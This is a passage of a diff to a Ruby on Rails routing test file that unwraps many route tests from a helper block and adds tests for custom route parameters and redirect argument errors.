-      assert_equal '/customers/1/invoices/new/preview', preview_new_customer_invoice_path(:customer_id => '1')
-      assert_equal '/customers/1/notes/new/preview', preview_new_customer_note_path(:customer_id => '1')
-      assert_equal '/notes/1/print', print_note_path(:id => '1')
-      assert_equal '/api/customers/recent', recent_api_customers_path
-      assert_equal '/api/customers/1/profile', profile_api_customer_path(:id => '1')
-      assert_equal '/api/customers/new/preview', preview_new_api_customer_path
-
-      get '/customers/1/invoices/overdue'
-      assert_equal 'invoices#overdue', @response.body
-
-      get '/customers/1/secret/profile'
-      assert_equal 'customers#secret', @response.body
-    end
+    assert_equal '/customers/recent', recent_customers_path
+    assert_equal '/customers/1/profile', profile_customer_path(:id => '1')
+    assert_equal '/customers/1/secret/profile', secret_profile_customer_path(:id => '1')
+    assert_equal '/customers/new/preview', another_preview_new_customer_path
+    assert_equal '/customers/1/avatar/thumbnail.jpg', thumbnail_customer_avatar_path(:customer_id => '1', :format => :jpg)
+    assert_equal '/customers/1/invoices/outstanding', outstanding_customer_invoices_path(:customer_id => '1')
+    assert_equal '/customers/1/invoices/2/print', print_customer_invoice_path(:customer_id => '1', :id => '2')
+    assert_equal '/customers/1/invoices/new/preview', preview_new_customer_invoice_path(:customer_id => '1')
+    assert_equal '/customers/1/notes/new/preview', preview_new_customer_note_path(:customer_id => '1')
+    assert_equal '/notes/1/print', print_note_path(:id => '1')
+    assert_equal '/api/customers/recent', recent_api_customers_path
+    assert_equal '/api/customers/1/profile', profile_api_customer_path(:id => '1')
+    assert_equal '/api/customers/new/preview', preview_new_api_customer_path
+
+    get '/customers/1/invoices/overdue'
+    assert_equal 'invoices#overdue', @response.body
+
+    get '/customers/1/secret/profile'
+    assert_equal 'customers#secret', @response.body
   end
 
   def test_shallow_nested_routes_ignore_module
-    with_test_routes do
-      get '/errors/1/notices'
-      assert_equal 'api/notices#index', @response.body
-      assert_equal '/errors/1/notices', error_notices_path(:error_id => '1')
-
-      get '/notices/1'
-      assert_equal 'api/notices#show', @response.body
-      assert_equal '/notices/1', notice_path(:id => '1')
-    end
+    get '/errors/1/notices'
+    assert_equal 'api/notices#index', @response.body
+    assert_equal '/errors/1/notices', error_notices_path(:error_id => '1')
+
+    get '/notices/1'
+    assert_equal 'api/notices#show', @response.body
+    assert_equal '/notices/1', notice_path(:id => '1')
   end
 
   def test_non_greedy_regexp
-    with_test_routes do
-      get '/api/1.0/users'
-      assert_equal 'api/users#index', @response.body
-      assert_equal '/api/1.0/users', api_users_path(:version => '1.0')
-
-      get '/api/1.0/users.json'
-      assert_equal 'api/users#index', @response.body
-      assert_equal true, @request.format.json?
-      assert_equal '/api/1.0/users.json', api_users_path(:version => '1.0', :format => :json)
-
-      get '/api/1.0/users/first.last'
-      assert_equal 'api/users#show', @response.body
-      assert_equal 'first.last', @request.params[:id]
-      assert_equal '/api/1.0/users/first.last', api_user_path(:version => '1.0', :id => 'first.last')
-
-      get '/api/1.0/users/first.last.xml'
-      assert_equal 'api/users#show', @response.body
-      assert_equal 'first.last', @request.params[:id]
-      assert_equal true, @request.format.xml?
-      assert_equal '/api/1.0/users/first.last.xml', api_user_path(:version => '1.0', :id => 'first.last', :format => :xml)
-    end
+    get '/api/1.0/users'
+    assert_equal 'api/users#index', @response.body
+    assert_equal '/api/1.0/users', api_users_path(:version => '1.0')
+
+    get '/api/1.0/users.json'
+    assert_equal 'api/users#index', @response.body
+    assert_equal true, @request.format.json?
+    assert_equal '/api/1.0/users.json', api_users_path(:version => '1.0', :format => :json)
+
+    get '/api/1.0/users/first.last'
+    assert_equal 'api/users#show', @response.body
+    assert_equal 'first.last', @request.params[:id]
+    assert_equal '/api/1.0/users/first.last', api_user_path(:version => '1.0', :id => 'first.last')
+
+    get '/api/1.0/users/first.last.xml'
+    assert_equal 'api/users#show', @response.body
+    assert_equal 'first.last', @request.params[:id]
+    assert_equal true, @request.format.xml?
+    assert_equal '/api/1.0/users/first.last.xml', api_user_path(:version => '1.0', :id => 'first.last', :format => :xml)
   end
 
   def test_glob_parameter_accepts_regexp
-    with_test_routes do
-      get '/en/path/to/existing/file.html'
-      assert_equal 200, @response.status
-    end
+    get '/en/path/to/existing/file.html'
+    assert_equal 200, @response.status
   end
 
   def test_resources_controller_name_is_not_pluralized
-    with_test_routes do
-      get '/content'
-      assert_equal 'content#index', @response.body
-    end
+    get '/content'
+    assert_equal 'content#index', @response.body
   end
 
   def test_url_generator_for_optional_prefix_dynamic_segment
-    with_test_routes do
-      get '/bob/followers'
-      assert_equal 'followers#index', @response.body
-      assert_equal 'http://www.example.com/bob/followers',
-        url_for(:controller => "followers", :action => "index", :username => "bob")
-
-      get '/followers'
-      assert_equal 'followers#index', @response.body
-      assert_equal 'http://www.example.com/followers',
-        url_for(:controller => "followers", :action => "index", :username => nil)
-    end
+    get '/bob/followers'
+    assert_equal 'followers#index', @response.body
+    assert_equal 'http://www.example.com/bob/followers',
+      url_for(:controller => "followers", :action => "index", :username => "bob")
+
+    get '/followers'
+    assert_equal 'followers#index', @response.body
+    assert_equal 'http://www.example.com/followers',
+      url_for(:controller => "followers", :action => "index", :username => nil)
   end
 
   def test_url_generator_for_optional_suffix_static_and_dynamic_segment
-    with_test_routes do
-      get '/groups/user/bob'
-      assert_equal 'groups#index', @response.body
-      assert_equal 'http://www.example.com/groups/user/bob',
-        url_for(:controller => "groups", :action => "index", :username => "bob")
-
-      get '/groups'
-      assert_equal 'groups#index', @response.body
-      assert_equal 'http://www.example.com/groups',
-        url_for(:controller => "groups", :action => "index", :username => nil)
-    end
+    get '/groups/user/bob'
+    assert_equal 'groups#index', @response.body
+    assert_equal 'http://www.example.com/groups/user/bob',
+      url_for(:controller => "groups", :action => "index", :username => "bob")
+
+    get '/groups'
+    assert_equal 'groups#index', @response.body
+    assert_equal 'http://www.example.com/groups',
+      url_for(:controller => "groups", :action => "index", :username => nil)
   end
 
   def test_url_generator_for_optional_prefix_static_and_dynamic_segment
-    with_test_routes do
-      get 'user/bob/photos'
-      assert_equal 'photos#index', @response.body
-      assert_equal 'http://www.example.com/user/bob/photos',
-        url_for(:controller => "photos", :action => "index", :username => "bob")
-
-      get 'photos'
-      assert_equal 'photos#index', @response.body
-      assert_equal 'http://www.example.com/photos',
-        url_for(:controller => "photos", :action => "index", :username => nil)
-    end
+    get 'user/bob/photos'
+    assert_equal 'photos#index', @response.body
+    assert_equal 'http://www.example.com/user/bob/photos',
+      url_for(:controller => "photos", :action => "index", :username => "bob")
+
+    get 'photos'
+    assert_equal 'photos#index', @response.body
+    assert_equal 'http://www.example.com/photos',
+      url_for(:controller => "photos", :action => "index", :username => nil)
   end
 
   def test_url_recognition_for_optional_static_segments
-    with_test_routes do
-      get '/groups/discussions/messages'
-      assert_equal 'messages#index', @response.body
+    get '/groups/discussions/messages'
+    assert_equal 'messages#index', @response.body
 
-      get '/groups/discussions/messages/1'
-      assert_equal 'messages#show', @response.body
+    get '/groups/discussions/messages/1'
+    assert_equal 'messages#show', @response.body
 
-      get '/groups/messages'
-      assert_equal 'messages#index', @response.body
+    get '/groups/messages'
+    assert_equal 'messages#index', @response.body
 
-      get '/groups/messages/1'
-      assert_equal 'messages#show', @response.body
+    get '/groups/messages/1'
+    assert_equal 'messages#show', @response.body
 
-      get '/discussions/messages'
-      assert_equal 'messages#index', @response.body
+    get '/discussions/messages'
+    assert_equal 'messages#index', @response.body
 
-      get '/discussions/messages/1'
-      assert_equal 'messages#show', @response.body
+    get '/discussions/messages/1'
+    assert_equal 'messages#show', @response.body
 
-      get '/messages'
-      assert_equal 'messages#index', @response.body
+    get '/messages'
+    assert_equal 'messages#index', @response.body
 
-      get '/messages/1'
-      assert_equal 'messages#show', @response.body
-    end
+    get '/messages/1'
+    assert_equal 'messages#show', @response.body
   end
 
   def test_router_removes_invalid_conditions
-    with_test_routes do
-      get '/tickets'
-      assert_equal 'tickets#index', @response.body
-      assert_equal '/tickets', tickets_path
-    end
+    get '/tickets'
+    assert_equal 'tickets#index', @response.body
+    assert_equal '/tickets', tickets_path
   end
 
   def test_constraints_are_merged_from_scope
-    with_test_routes do
-      get '/movies/0001'
-      assert_equal 'movies#show', @response.body
-      assert_equal '/movies/0001', movie_path(:id => '0001')
-
-      get '/movies/00001'
-      assert_equal 'Not Found', @response.body
-      assert_raises(ActionController::RoutingError){ movie_path(:id => '00001') }
-
-      get '/movies/0001/reviews'
-      assert_equal 'reviews#index', @response.body
-      assert_equal '/movies/0001/reviews', movie_reviews_path(:movie_id => '0001')
-
-      get '/movies/00001/reviews'
-      assert_equal 'Not Found', @response.body
-      assert_raises(ActionController::RoutingError){ movie_reviews_path(:movie_id => '00001') }
-
-      get '/movies/0001/reviews/0001'
-      assert_equal 'reviews#show', @response.body
-      assert_equal '/movies/0001/reviews/0001', movie_review_path(:movie_id => '0001', :id => '0001')
-
-      get '/movies/00001/reviews/0001'
-      assert_equal 'Not Found', @response.body
-      assert_raises(ActionController::RoutingError){ movie_path(:movie_id => '00001', :id => '00001') }
-
-      get '/movies/0001/trailer'
-      assert_equal 'trailers#show', @response.body
-      assert_equal '/movies/0001/trailer', movie_trailer_path(:movie_id => '0001')
-
-      get '/movies/00001/trailer'
-      assert_equal 'Not Found', @response.body
-      assert_raises(ActionController::RoutingError){ movie_trailer_path(:movie_id => '00001') }
-    end
+    get '/movies/0001'
+    assert_equal 'movies#show', @response.body
+    assert_equal '/movies/0001', movie_path(:id => '0001')
+
+    get '/movies/00001'
+    assert_equal 'Not Found', @response.body
+    assert_raises(ActionController::RoutingError){ movie_path(:id => '00001') }
+
+    get '/movies/0001/reviews'
+    assert_equal 'reviews#index', @response.body
+    assert_equal '/movies/0001/reviews', movie_reviews_path(:movie_id => '0001')
+
+    get '/movies/00001/reviews'
+    assert_equal 'Not Found', @response.body
+    assert_raises(ActionController::RoutingError){ movie_reviews_path(:movie_id => '00001') }
+
+    get '/movies/0001/reviews/0001'
+    assert_equal 'reviews#show', @response.body
+    assert_equal '/movies/0001/reviews/0001', movie_review_path(:movie_id => '0001', :id => '0001')
+
+    get '/movies/00001/reviews/0001'
+    assert_equal 'Not Found', @response.body
+    assert_raises(ActionController::RoutingError){ movie_path(:movie_id => '00001', :id => '00001') }
+
+    get '/movies/0001/trailer'
+    assert_equal 'trailers#show', @response.body
+    assert_equal '/movies/0001/trailer', movie_trailer_path(:movie_id => '0001')
+
+    get '/movies/00001/trailer'
+    assert_equal 'Not Found', @response.body
+    assert_raises(ActionController::RoutingError){ movie_trailer_path(:movie_id => '00001') }
   end
 
   def test_only_should_be_read_from_scope
-    with_test_routes do
-      get '/only/clubs'
-      assert_equal 'only/clubs#index', @response.body
-      assert_equal '/only/clubs', only_clubs_path
-
-      get '/only/clubs/1/edit'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { edit_only_club_path(:id => '1') }
-
-      get '/only/clubs/1/players'
-      assert_equal 'only/players#index', @response.body
-      assert_equal '/only/clubs/1/players', only_club_players_path(:club_id => '1')
-
-      get '/only/clubs/1/players/2/edit'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { edit_only_club_player_path(:club_id => '1', :id => '2') }
-
-      get '/only/clubs/1/chairman'
-      assert_equal 'only/chairmen#show', @response.body
-      assert_equal '/only/clubs/1/chairman', only_club_chairman_path(:club_id => '1')
-
-      get '/only/clubs/1/chairman/edit'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { edit_only_club_chairman_path(:club_id => '1') }
-    end
+    get '/only/clubs'
+    assert_equal 'only/clubs#index', @response.body
+    assert_equal '/only/clubs', only_clubs_path
+
+    get '/only/clubs/1/edit'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { edit_only_club_path(:id => '1') }
+
+    get '/only/clubs/1/players'
+    assert_equal 'only/players#index', @response.body
+    assert_equal '/only/clubs/1/players', only_club_players_path(:club_id => '1')
+
+    get '/only/clubs/1/players/2/edit'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { edit_only_club_player_path(:club_id => '1', :id => '2') }
+
+    get '/only/clubs/1/chairman'
+    assert_equal 'only/chairmen#show', @response.body
+    assert_equal '/only/clubs/1/chairman', only_club_chairman_path(:club_id => '1')
+
+    get '/only/clubs/1/chairman/edit'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { edit_only_club_chairman_path(:club_id => '1') }
   end
 
   def test_except_should_be_read_from_scope
-    with_test_routes do
-      get '/except/clubs'
-      assert_equal 'except/clubs#index', @response.body
-      assert_equal '/except/clubs', except_clubs_path
-
-      get '/except/clubs/1/edit'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { edit_except_club_path(:id => '1') }
-
-      get '/except/clubs/1/players'
-      assert_equal 'except/players#index', @response.body
-      assert_equal '/except/clubs/1/players', except_club_players_path(:club_id => '1')
-
-      get '/except/clubs/1/players/2/edit'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { edit_except_club_player_path(:club_id => '1', :id => '2') }
-
-      get '/except/clubs/1/chairman'
-      assert_equal 'except/chairmen#show', @response.body
-      assert_equal '/except/clubs/1/chairman', except_club_chairman_path(:club_id => '1')
-
-      get '/except/clubs/1/chairman/edit'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { edit_except_club_chairman_path(:club_id => '1') }
-    end
+    get '/except/clubs'
+    assert_equal 'except/clubs#index', @response.body
+    assert_equal '/except/clubs', except_clubs_path
+
+    get '/except/clubs/1/edit'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { edit_except_club_path(:id => '1') }
+
+    get '/except/clubs/1/players'
+    assert_equal 'except/players#index', @response.body
+    assert_equal '/except/clubs/1/players', except_club_players_path(:club_id => '1')
+
+    get '/except/clubs/1/players/2/edit'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { edit_except_club_player_path(:club_id => '1', :id => '2') }
+
+    get '/except/clubs/1/chairman'
+    assert_equal 'except/chairmen#show', @response.body
+    assert_equal '/except/clubs/1/chairman', except_club_chairman_path(:club_id => '1')
+
+    get '/except/clubs/1/chairman/edit'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { edit_except_club_chairman_path(:club_id => '1') }
   end
 
   def test_only_option_should_override_scope
-    with_test_routes do
-      get '/only/sectors'
-      assert_equal 'only/sectors#index', @response.body
-      assert_equal '/only/sectors', only_sectors_path
-
-      get '/only/sectors/1'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { only_sector_path(:id => '1') }
-    end
+    get '/only/sectors'
+    assert_equal 'only/sectors#index', @response.body
+    assert_equal '/only/sectors', only_sectors_path
+
+    get '/only/sectors/1'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { only_sector_path(:id => '1') }
   end
 
   def test_only_option_should_not_inherit
-    with_test_routes do
-      get '/only/sectors/1/companies/2'
-      assert_equal 'only/companies#show', @response.body
-      assert_equal '/only/sectors/1/companies/2', only_sector_company_path(:sector_id => '1', :id => '2')
-
-      get '/only/sectors/1/leader'
-      assert_equal 'only/leaders#show', @response.body
-      assert_equal '/only/sectors/1/leader', only_sector_leader_path(:sector_id => '1')
-    end
+    get '/only/sectors/1/companies/2'
+    assert_equal 'only/companies#show', @response.body
+    assert_equal '/only/sectors/1/companies/2', only_sector_company_path(:sector_id => '1', :id => '2')
+
+    get '/only/sectors/1/leader'
+    assert_equal 'only/leaders#show', @response.body
+    assert_equal '/only/sectors/1/leader', only_sector_leader_path(:sector_id => '1')
   end
 
   def test_except_option_should_override_scope
-    with_test_routes do
-      get '/except/sectors'
-      assert_equal 'except/sectors#index', @response.body
-      assert_equal '/except/sectors', except_sectors_path
-
-      get '/except/sectors/1'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { except_sector_path(:id => '1') }
-    end
+    get '/except/sectors'
+    assert_equal 'except/sectors#index', @response.body
+    assert_equal '/except/sectors', except_sectors_path
+
+    get '/except/sectors/1'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { except_sector_path(:id => '1') }
   end
 
   def test_except_option_should_not_inherit
-    with_test_routes do
-      get '/except/sectors/1/companies/2'
-      assert_equal 'except/companies#show', @response.body
-      assert_equal '/except/sectors/1/companies/2', except_sector_company_path(:sector_id => '1', :id => '2')
-
-      get '/except/sectors/1/leader'
-      assert_equal 'except/leaders#show', @response.body
-      assert_equal '/except/sectors/1/leader', except_sector_leader_path(:sector_id => '1')
-    end
+    get '/except/sectors/1/companies/2'
+    assert_equal 'except/companies#show', @response.body
+    assert_equal '/except/sectors/1/companies/2', except_sector_company_path(:sector_id => '1', :id => '2')
+
+    get '/except/sectors/1/leader'
+    assert_equal 'except/leaders#show', @response.body
+    assert_equal '/except/sectors/1/leader', except_sector_leader_path(:sector_id => '1')
   end
 
   def test_except_option_should_override_scoped_only
-    with_test_routes do
-      get '/only/sectors/1/managers'
-      assert_equal 'only/managers#index', @response.body
-      assert_equal '/only/sectors/1/managers', only_sector_managers_path(:sector_id => '1')
-
-      get '/only/sectors/1/managers/2'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { only_sector_manager_path(:sector_id => '1', :id => '2') }
-    end
+    get '/only/sectors/1/managers'
+    assert_equal 'only/managers#index', @response.body
+    assert_equal '/only/sectors/1/managers', only_sector_managers_path(:sector_id => '1')
+
+    get '/only/sectors/1/managers/2'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { only_sector_manager_path(:sector_id => '1', :id => '2') }
   end
 
   def test_only_option_should_override_scoped_except
-    with_test_routes do
-      get '/except/sectors/1/managers'
-      assert_equal 'except/managers#index', @response.body
-      assert_equal '/except/sectors/1/managers', except_sector_managers_path(:sector_id => '1')
-
-      get '/except/sectors/1/managers/2'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { except_sector_manager_path(:sector_id => '1', :id => '2') }
-    end
+    get '/except/sectors/1/managers'
+    assert_equal 'except/managers#index', @response.body
+    assert_equal '/except/sectors/1/managers', except_sector_managers_path(:sector_id => '1')
+
+    get '/except/sectors/1/managers/2'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { except_sector_manager_path(:sector_id => '1', :id => '2') }
   end
 
   def test_only_scope_should_override_parent_scope
-    with_test_routes do
-      get '/only/sectors/1/companies/2/divisions'
-      assert_equal 'only/divisions#index', @response.body
-      assert_equal '/only/sectors/1/companies/2/divisions', only_sector_company_divisions_path(:sector_id => '1', :company_id => '2')
-
-      get '/only/sectors/1/companies/2/divisions/3'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { only_sector_company_division_path(:sector_id => '1', :company_id => '2', :id => '3') }
-    end
+    get '/only/sectors/1/companies/2/divisions'
+    assert_equal 'only/divisions#index', @response.body
+    assert_equal '/only/sectors/1/companies/2/divisions', only_sector_company_divisions_path(:sector_id => '1', :company_id => '2')
+
+    get '/only/sectors/1/companies/2/divisions/3'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { only_sector_company_division_path(:sector_id => '1', :company_id => '2', :id => '3') }
   end
 
   def test_except_scope_should_override_parent_scope
-    with_test_routes do
-      get '/except/sectors/1/companies/2/divisions'
-      assert_equal 'except/divisions#index', @response.body
-      assert_equal '/except/sectors/1/companies/2/divisions', except_sector_company_divisions_path(:sector_id => '1', :company_id => '2')
-
-      get '/except/sectors/1/companies/2/divisions/3'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { except_sector_company_division_path(:sector_id => '1', :company_id => '2', :id => '3') }
-    end
+    get '/except/sectors/1/companies/2/divisions'
+    assert_equal 'except/divisions#index', @response.body
+    assert_equal '/except/sectors/1/companies/2/divisions', except_sector_company_divisions_path(:sector_id => '1', :company_id => '2')
+
+    get '/except/sectors/1/companies/2/divisions/3'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { except_sector_company_division_path(:sector_id => '1', :company_id => '2', :id => '3') }
   end
 
   def test_except_scope_should_override_parent_only_scope
-    with_test_routes do
-      get '/only/sectors/1/companies/2/departments'
-      assert_equal 'only/departments#index', @response.body
-      assert_equal '/only/sectors/1/companies/2/departments', only_sector_company_departments_path(:sector_id => '1', :company_id => '2')
-
-      get '/only/sectors/1/companies/2/departments/3'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { only_sector_company_department_path(:sector_id => '1', :company_id => '2', :id => '3') }
-    end
+    get '/only/sectors/1/companies/2/departments'
+    assert_equal 'only/departments#index', @response.body
+    assert_equal '/only/sectors/1/companies/2/departments', only_sector_company_departments_path(:sector_id => '1', :company_id => '2')
+
+    get '/only/sectors/1/companies/2/departments/3'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { only_sector_company_department_path(:sector_id => '1', :company_id => '2', :id => '3') }
   end
 
   def test_only_scope_should_override_parent_except_scope
-    with_test_routes do
-      get '/except/sectors/1/companies/2/departments'
-      assert_equal 'except/departments#index', @response.body
-      assert_equal '/except/sectors/1/companies/2/departments', except_sector_company_departments_path(:sector_id => '1', :company_id => '2')
-
-      get '/except/sectors/1/companies/2/departments/3'
-      assert_equal 'Not Found', @response.body
-      assert_raise(NoMethodError) { except_sector_company_department_path(:sector_id => '1', :company_id => '2', :id => '3') }
-    end
+    get '/except/sectors/1/companies/2/departments'
+    assert_equal 'except/departments#index', @response.body
+    assert_equal '/except/sectors/1/companies/2/departments', except_sector_company_departments_path(:sector_id => '1', :company_id => '2')
+
+    get '/except/sectors/1/companies/2/departments/3'
+    assert_equal 'Not Found', @response.body
+    assert_raise(NoMethodError) { except_sector_company_department_path(:sector_id => '1', :company_id => '2', :id => '3') }
   end
 
   def test_resources_are_not_pluralized
-    with_test_routes do
-      get '/transport/taxis'
-      assert_equal 'transport/taxis#index', @response.body
-      assert_equal '/transport/taxis', transport_taxis_path
+    get '/transport/taxis'
+    assert_equal 'transport/taxis#index', @response.body
+    assert_equal '/transport/taxis', transport_taxis_path
 
-      get '/transport/taxis/new'
-      assert_equal 'transport/taxis#new', @response.body
-      assert_equal '/transport/taxis/new', new_transport_taxi_path
+    get '/transport/taxis/new'
+    assert_equal 'transport/taxis#new', @response.body
+    assert_equal '/transport/taxis/new', new_transport_taxi_path
 
-      post '/transport/taxis'
-      assert_equal 'transport/taxis#create', @response.body
+    post '/transport/taxis'
+    assert_equal 'transport/taxis#create', @response.body
 
-      get '/transport/taxis/1'
-      assert_equal 'transport/taxis#show', @response.body
-      assert_equal '/transport/taxis/1', transport_taxi_path(:id => '1')
+    get '/transport/taxis/1'
+    assert_equal 'transport/taxis#show', @response.body
+    assert_equal '/transport/taxis/1', transport_taxi_path(:id => '1')
 
-      get '/transport/taxis/1/edit'
-      assert_equal 'transport/taxis#edit', @response.body
-      assert_equal '/transport/taxis/1/edit', edit_transport_taxi_path(:id => '1')
+    get '/transport/taxis/1/edit'
+    assert_equal 'transport/taxis#edit', @response.body
+    assert_equal '/transport/taxis/1/edit', edit_transport_taxi_path(:id => '1')
 
-      put '/transport/taxis/1'
-      assert_equal 'transport/taxis#update', @response.body
+    put '/transport/taxis/1'
+    assert_equal 'transport/taxis#update', @response.body
 
-      delete '/transport/taxis/1'
-      assert_equal 'transport/taxis#destroy', @response.body
-    end
+    delete '/transport/taxis/1'
+    assert_equal 'transport/taxis#destroy', @response.body
   end
 
   def test_singleton_resources_are_not_singularized
-    with_test_routes do
-      get '/medical/taxis/new'
-      assert_equal 'medical/taxes#new', @response.body
-      assert_equal '/medical/taxis/new', new_medical_taxis_path
+    get '/medical/taxis/new'
+    assert_equal 'medical/taxis#new', @response.body
+    assert_equal '/medical/taxis/new', new_medical_taxis_path
 
-      post '/medical/taxis'
-      assert_equal 'medical/taxes#create', @response.body
+    post '/medical/taxis'
+    assert_equal 'medical/taxis#create', @response.body
 
-      get '/medical/taxis'
-      assert_equal 'medical/taxes#show', @response.body
-      assert_equal '/medical/taxis', medical_taxis_path
+    get '/medical/taxis'
+    assert_equal 'medical/taxis#show', @response.body
+    assert_equal '/medical/taxis', medical_taxis_path
 
-      get '/medical/taxis/edit'
-      assert_equal 'medical/taxes#edit', @response.body
-      assert_equal '/medical/taxis/edit', edit_medical_taxis_path
+    get '/medical/taxis/edit'
+    assert_equal 'medical/taxis#edit', @response.body
+    assert_equal '/medical/taxis/edit', edit_medical_taxis_path
 
-      put '/medical/taxis'
-      assert_equal 'medical/taxes#update', @response.body
+    put '/medical/taxis'
+    assert_equal 'medical/taxis#update', @response.body
 
-      delete '/medical/taxis'
-      assert_equal 'medical/taxes#destroy', @response.body
-    end
+    delete '/medical/taxis'
+    assert_equal 'medical/taxis#destroy', @response.body
   end
 
   def test_greedy_resource_id_regexp_doesnt_match_edit_and_custom_action
-    with_test_routes do
-      get '/sections/1/edit'
-      assert_equal 'sections#edit', @response.body
-      assert_equal '/sections/1/edit', edit_section_path(:id => '1')
-
-      get '/sections/1/preview'
-      assert_equal 'sections#preview', @response.body
-      assert_equal '/sections/1/preview', preview_section_path(:id => '1')
-    end
+    get '/sections/1/edit'
+    assert_equal 'sections#edit', @response.body
+    assert_equal '/sections/1/edit', edit_section_path(:id => '1')
+
+    get '/sections/1/preview'
+    assert_equal 'sections#preview', @response.body
+    assert_equal '/sections/1/preview', preview_section_path(:id => '1')
   end
 
   def test_resource_constraints_are_pushed_to_scope
-    with_test_routes do
-      get '/wiki/articles/Ruby_on_Rails_3.0'
-      assert_equal 'wiki/articles#show', @response.body
-      assert_equal '/wiki/articles/Ruby_on_Rails_3.0', wiki_article_path(:id => 'Ruby_on_Rails_3.0')
-
-      get '/wiki/articles/Ruby_on_Rails_3.0/comments/new'
-      assert_equal 'wiki/comments#new', @response.body
-      assert_equal '/wiki/articles/Ruby_on_Rails_3.0/comments/new', new_wiki_article_comment_path(:article_id => 'Ruby_on_Rails_3.0')
-
-      post '/wiki/articles/Ruby_on_Rails_3.0/comments'
-      assert_equal 'wiki/comments#create', @response.body
-      assert_equal '/wiki/articles/Ruby_on_Rails_3.0/comments', wiki_article_comments_path(:article_id => 'Ruby_on_Rails_3.0')
-    end
+    get '/wiki/articles/Ruby_on_Rails_3.0'
+    assert_equal 'wiki/articles#show', @response.body
+    assert_equal '/wiki/articles/Ruby_on_Rails_3.0', wiki_article_path(:id => 'Ruby_on_Rails_3.0')
+
+    get '/wiki/articles/Ruby_on_Rails_3.0/comments/new'
+    assert_equal 'wiki/comments#new', @response.body
+    assert_equal '/wiki/articles/Ruby_on_Rails_3.0/comments/new', new_wiki_article_comment_path(:article_id => 'Ruby_on_Rails_3.0')
+
+    post '/wiki/articles/Ruby_on_Rails_3.0/comments'
+    assert_equal 'wiki/comments#create', @response.body
+    assert_equal '/wiki/articles/Ruby_on_Rails_3.0/comments', wiki_article_comments_path(:article_id => 'Ruby_on_Rails_3.0')
   end
 
   def test_resources_path_can_be_a_symbol
-    with_test_routes do
-      get '/pages'
-      assert_equal 'wiki_pages#index', @response.body
-      assert_equal '/pages', wiki_pages_path
-
-      get '/pages/Ruby_on_Rails'
-      assert_equal 'wiki_pages#show', @response.body
-      assert_equal '/pages/Ruby_on_Rails', wiki_page_path(:id => 'Ruby_on_Rails')
-
-      get '/my_account'
-      assert_equal 'wiki_accounts#show', @response.body
-      assert_equal '/my_account', wiki_account_path
-    end
+    get '/pages'
+    assert_equal 'wiki_pages#index', @response.body
+    assert_equal '/pages', wiki_pages_path
+
+    get '/pages/Ruby_on_Rails'
+    assert_equal 'wiki_pages#show', @response.body
+    assert_equal '/pages/Ruby_on_Rails', wiki_page_path(:id => 'Ruby_on_Rails')
+
+    get '/my_account'
+    assert_equal 'wiki_accounts#show', @response.body
+    assert_equal '/my_account', wiki_account_path
   end
 
   def test_redirect_https
-    with_test_routes do
-      with_https do
-        get '/secure'
-        verify_redirect 'https://www.example.com/secure/login'
-      end
+    with_https do
+      get '/secure'
+      verify_redirect 'https://www.example.com/secure/login'
     end
   end
 
@@ -2329,7 +2147,12 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
 
   def test_named_routes_collision_is_avoided_unless_explicitly_given_as
     assert_equal "/c/1", routes_collision_path(1)
-    assert_equal "/forced_collision", routes_forced_collision_path
+    assert_equal "/fc/1", routes_forced_collision_path(1)
+  end
+
+  def test_redirect_argument_error
+    routes = Class.new { include ActionDispatch::Routing::Redirection }.new
+    assert_raises(ArgumentError) { routes.redirect Object.new }
   end
 
   def test_explicitly_avoiding_the_named_route
@@ -2412,11 +2235,37 @@ class TestRoutingMapper < ActionDispatch::IntegrationTest
     assert_equal "/posts/1/admin", post_admin_root_path(:post_id => '1')
   end
 
-private
-  def with_test_routes
-    yield
+  def test_custom_param
+    get '/profiles/bob'
+    assert_equal 'profiles#show', @response.body
+    assert_equal 'bob', @request.params[:username]
+
+    get '/profiles/bob/details'
+    assert_equal 'bob', @request.params[:username]
+
+    get '/profiles/bob/messages/34'
+    assert_equal 'bob', @request.params[:profile_username]
+    assert_equal '34', @request.params[:id]
   end
 
+  def test_custom_param_constraint
+    get '/profiles/bob1'
+    assert_equal 404, @response.status
+
+    get '/profiles/bob1/details'
+    assert_equal 404, @response.status
+
+    get '/profiles/bob1/messages/34'
+    assert_equal 404, @response.status
+  end
+
+  def test_shallow_custom_param
+    get '/downloads/0c0c0b68-d24b-11e1-a861-001ff3fffe6f.zip'
+    assert_equal 'downloads#show', @response.body
+    assert_equal '0c0c0b68-d24b-11e1-a861-001ff3fffe6f', @request.params[:download]
+  end
+
+private
   def with_https
     old_https = https?
     https!
@@ -2441,16 +2290,17 @@ class TestAppendingRoutes < ActionDispatch::IntegrationTest
     lambda { |e| [ 200, { 'Content-Type' => 'text/plain' }, [resp] ] }
   end
 
-  setup do
+  def setup
+    super
     s = self
